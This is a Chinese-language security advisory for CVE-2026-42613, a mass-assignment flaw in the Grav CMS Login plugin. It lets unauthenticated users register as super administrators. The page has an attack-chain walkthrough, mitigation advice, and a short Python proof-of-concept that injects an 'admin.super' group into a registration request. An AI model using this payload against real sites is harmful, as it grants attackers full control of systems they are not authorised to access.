IPBUF安全漏洞报告
English
CVE-2026-42613 CVSS 9.4 严重

CVE-2026-42613 Grav CMS权限提升漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42613
漏洞类型
权限提升
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

权限提升GravCMS批量赋值CVE-2026-42613RCE

漏洞概述

Grav是基于文件的Web平台。在2.0.0-beta.2版本之前,其Login插件存在严重权限提升漏洞。该插件处理注册时未验证`groups`字段,未认证攻击者可通过注入`admin.super`字段直接注册为管理员。CVSS评分9.4,无需交互即可利用,危害极高。

技术细节

该漏洞源于Grav CMS Login组件在处理用户注册逻辑时的验证缺失。`Login::register()`方法直接将POST请求中的参数映射到用户对象,未对敏感字段如`groups`和`access`进行服务器端的白名单校验。这属于典型的批量赋值漏洞。攻击者只需确认目标开启了注册功能并允许相关字段,即可构造包含`groups: ['admin.super']`的恶意POST请求。服务器端接收后,将攻击者账户提升为超级管理员。此过程无需任何前置认证,攻击者借此可获得系统完全控制权,执行任意管理操作。

攻击链分析

STEP 1
侦察
攻击者扫描目标Grav CMS站点,确认其版本低于2.0.0-beta.2,且用户注册功能处于开启状态。
STEP 2
漏洞利用
攻击者构造特制的HTTP POST注册请求,在参数中注入`groups: ["admin.super"]`字段,绕过服务器端验证。
STEP 3
权限提升
服务器处理请求并创建新用户,由于未过滤敏感字段,新用户直接被分配超级管理员权限。
STEP 4
系统控制
攻击者使用创建的账户登录后台,获得系统完全控制权,可执行代码、篡改数据或窃取信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target registration URL target_url = "http://target.com/user_register" # Malicious payload injecting admin privileges payload_data = { "username": "hacker", "password": "P@ssw0rd123", "email": "[email protected]", # Injecting the admin.super group to escalate privileges "groups": ["admin.super"] } try: # Sending registration request response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Exploit successful! User created with admin privileges.") print("[+] Attempting to login...") # Verify login logic would go here else: print("[-] Exploit failed or registration disabled.") except Exception as e: print(f"Error: {e}")

影响范围

Grav < 2.0.0-beta.2

防御指南

临时缓解措施
建议管理员立即审查系统配置,确保在未升级前,注册表单的允许字段列表中不包含groups或access参数。同时,应检查现有用户列表中是否存在异常的超级管理员账户。

参考链接